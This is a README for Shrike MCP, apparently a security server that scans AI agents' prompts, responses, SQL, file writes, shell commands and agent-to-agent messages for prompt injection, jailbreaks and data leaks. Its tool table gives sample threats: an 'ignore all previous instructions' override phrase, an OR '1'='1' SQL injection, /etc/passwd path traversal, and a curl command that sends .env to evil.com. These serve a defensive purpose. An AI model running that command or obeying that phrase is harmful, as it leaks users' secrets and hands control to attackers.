Shrike Security Server

npm version License: Apache 2.0 Node.js Smithery

Runtime security for AI agents. 12 MCP tools. 10-layer detection pipeline. Works without an API key.

Shrike MCP is the Model Context Protocol server for the Shrike Security platform. It gives AI agents real-time security tools to scan prompts, responses, SQL queries, file writes, CLI commands, web searches, and agent-to-agent messages — catching prompt injection, jailbreaks, data leakage, and multi-turn manipulation before they cause harm.

Shrike Security Platform

Shrike Security is a runtime security platform for AI agents. It guards inputs, outputs, tool calls, and agent-to-agent communication through a 10-layer detection pipeline — from sub-millisecond pattern matching to LLM-powered semantic analysis and multi-turn session correlation.

This repo is the MCP server — one of several ways to integrate:

Integration	Install	Use Case
MCP Server (this repo)	npx shrike-mcp	Claude Desktop, Cursor, Windsurf, Cline
TypeScript SDK	npm install shrike-guard	OpenAI/Anthropic/Gemini wrapper
Python SDK	pip install shrike-guard	OpenAI/Anthropic/Gemini wrapper
Go SDK	go get	Backend services
REST API	POST /agent/scan	Any language, any stack
LLM Proxy Gateway	POST /api/v1/llm/proxy	Zero-code: change one URL, scan everything
Browser Extension	Chrome / Edge	Protect employee AI usage (ChatGPT, Claude, Gemini)
Dashboard	shrikesecurity.com	Analytics, policies, RBAC, API keys

Quick Start

Works immediately — no API key required. Anonymous usage gets L1-L5 pattern-based detection. Register for free to unlock LLM-powered semantic analysis.

1. Add to your MCP client config:

{
  "mcpServers": {
    "shrike-security": {
      "command": "npx",
      "args": ["-y", "shrike-mcp"]
    }
  }
}

2. (Optional) Add an API key for full pipeline access:

{
  "mcpServers": {
    "shrike-security": {
      "command": "npx",
      "args": ["-y", "shrike-mcp"],
      "env": {
        "SHRIKE_API_KEY": "your-api-key"
      }
    }
  }
}

Get a free key at shrikesecurity.com/signup — instant, no credit card.

3. Your agent now has 12 security tools. Every prompt, response, and tool call can be scanned before execution.

Twelve Tools

Tool	What It Guards	Example Threat
scan_prompt	User/system prompts before LLM processing	"Ignore all previous instructions and..."
scan_response	LLM outputs before returning to user	Leaked API keys, system prompt in output
scan_sql_query	SQL queries before database execution	OR '1'='1' tautology injection
scan_file_write	File paths and content before write	Path traversal to /etc/passwd, AWS keys in .env
scan_command	CLI commands before shell execution	curl -d @.env https://evil.com, reverse shells
scan_web_search	Search queries before execution	PII in search: "records for John Smith SSN..."
scan_a2a_message	Agent-to-agent messages before processing	Prompt injection in inter-agent communication
scan_agent_card	A2A AgentCard metadata before trusting	Embedded injection in agent discovery, capability spoofing
check_approval	Human-in-the-loop approval status	Poll and submit decisions for flagged actions
report_bypass	User-reported missed detections	Feeds ThreatSense adaptive learning
get_threat_intel	Current threat patterns and intelligence	Latest prompt injection techniques
reset_session	Clear session correlation state	Reset L9 turn history after resolving flagged patterns

How It Works

Shrike uses a scan-sandwich pattern — every agent action is scanned on both sides:

User Input → scan_prompt → LLM Processing → scan_response → User Output
                              ↓
              Tool Call (SQL, File, Command, Search)
                              ↓
            scan_sql_query / scan_file_write / scan_command / scan_web_search
                              ↓
                       Tool Execution

Agent-to-Agent Communication:
  Inbound A2A → scan_a2a_message → Process → scan_a2a_message → Outbound A2A
  Discovery   → scan_agent_card  → Trust decision

Inbound scans catch injection attacks. Outbound scans catch data leaks. Tool-specific scans catch SQL injection, path traversal, command injection, and PII exposure. A2A scans catch east-west injection between agents. Flagged actions trigger human-in-the-loop approval via check_approval.

Enterprise tier adds session correlation (L9) — tracking multi-turn patterns like trust escalation, payload splitting, and blocked retry sequences across an entire conversation.

Detection Pipeline

Every scan runs through a multi-layer cascade. Lower layers are sub-millisecond pattern matching; higher layers add LLM-powered semantic analysis. Tier determines how deep the scan goes.

Layer	What It Does	Tier
L1	Regex pattern matching (~130 threat types, 14+ languages)	All
L1.4	Unicode homoglyph & invisible character detection	All
L1.42	Malformed content detection	All
L1.45a	Encoding bypass detection (Base64, hex, Caesar/Atbash ciphers)	All
L1.45	Token obfuscation (spaced chars, l33t speak, typoglycemia)	All
L1.455	Semantic similarity analysis (embedding-based)	All
L6	Visual text analysis (RTL tricks, visual homoglyphs)	Community+
L7	LLM semantic analysis via Vertex AI (zero-day detection)	Community+
L8	Response intelligence (LLM compromise, tonality drift)	Pro+
L9	Multi-turn session correlation (7 pattern detectors)	Enterprise

The cascade optimizer exits early when high-confidence detection is achieved at a lower layer — so most scans complete in under 10ms without needing the LLM layer.

Tiers

All 12 tools are available on every tier. Tiers control detection depth and volume.

	Anonymous	Community	Pro	Enterprise
Detection Layers	L1-L5	L1-L7	L1-L8	L1-L9
API Key	Not needed	Free signup	Paid	Paid
Rate Limit	—	10/min	100/min	1,000/min
Scans/month	—	1,000	50,000	1,000,000
Dashboard	No	Yes	Yes	Yes
Session Correlation	No	No	No	Yes
Compliance Policies	Default	Default	Custom	Custom

Anonymous (no API key): Pattern-based detection only (L1-L5). Good for evaluation and basic protection.

Community (free): Adds LLM-powered semantic analysis (L6-L7). Catches zero-day attacks that evade regex. Register at shrikesecurity.com/signup.

Pro/Enterprise: Full pipeline including response intelligence (L8) and multi-turn session correlation (L9).

Compliance

Built-in policy catalogues across 7 frameworks:

Framework	Coverage
GDPR	EU personal data — names, addresses, national IDs
HIPAA	Protected health information (PHI)
ISO 27001	Information security — passwords, tokens, certificates
SOC 2	Secrets, credentials, API keys, cloud tokens
NIST	AI risk management (IR 8596), cybersecurity framework (CSF 2.0)
PCI-DSS	Cardholder data — PAN, CVV, expiry, track data
WebMCP	MCP tool description injection, data exfiltration

Configuration

Environment Variables

Variable	Description	Default
SHRIKE_API_KEY	API key from your dashboard	none (anonymous mode)
SHRIKE_BACKEND_URL	Backend API URL	https://api.shrikesecurity.com/agent
MCP_SCAN_TIMEOUT_MS	Scan request timeout (ms)	15000
MCP_RATE_LIMIT_PER_MINUTE	Client-side rate limit	100
MCP_TRANSPORT	Transport: stdio or http	stdio
MCP_PORT	HTTP port (when transport=http)	8000
MCP_DEBUG	Debug logging	false

Claude Desktop

{
  "mcpServers": {
    "shrike-security": {
      "command": "npx",
      "args": ["-y", "shrike-mcp"],
      "env": { "SHRIKE_API_KEY": "your-api-key" }
    }
  }
}

Cursor

Add to .cursor/mcp.json:

{
  "mcpServers": {
    "shrike-security": {
      "command": "npx",
      "args": ["-y", "shrike-mcp"],
      "env": { "SHRIKE_API_KEY": "your-api-key" }
    }
  }
}

Windsurf

Add to ~/.codeium/windsurf/mcp_config.json:

{
  "mcpServers": {
    "shrike-security": {
      "command": "npx",
      "args": ["-y", "shrike-mcp"],
      "env": { "SHRIKE_API_KEY": "your-api-key" }
    }
  }
}

Security Model

This server implements a fail-closed security model:

• Network timeouts result in BLOCK (not allow)
• Backend errors result in BLOCK (not allow)
• Unknown content types result in BLOCK (not allow)

This prevents bypass attacks via service disruption.

Response Format

Blocked:

{
  "blocked": true,
  "threat_type": "prompt_injection",
  "severity": "high",
  "confidence": "high",
  "guidance": "This prompt contains patterns consistent with instruction override attempts.",
  "request_id": "req_lxyz123_a8f3k2m9"
}

Safe:

{
  "blocked": false,
  "request_id": "req_lxyz123_a8f3k2m9"
}

Links

• Shrike Security — Sign up, dashboard, docs
• GitHub — Source code, issues
• npm — Package registry
• TypeScript SDK — npm install shrike-guard
• Python SDK — pip install shrike-guard
• Smithery — MCP marketplace listing

License

Apache License 2.0 — See LICENSE for details.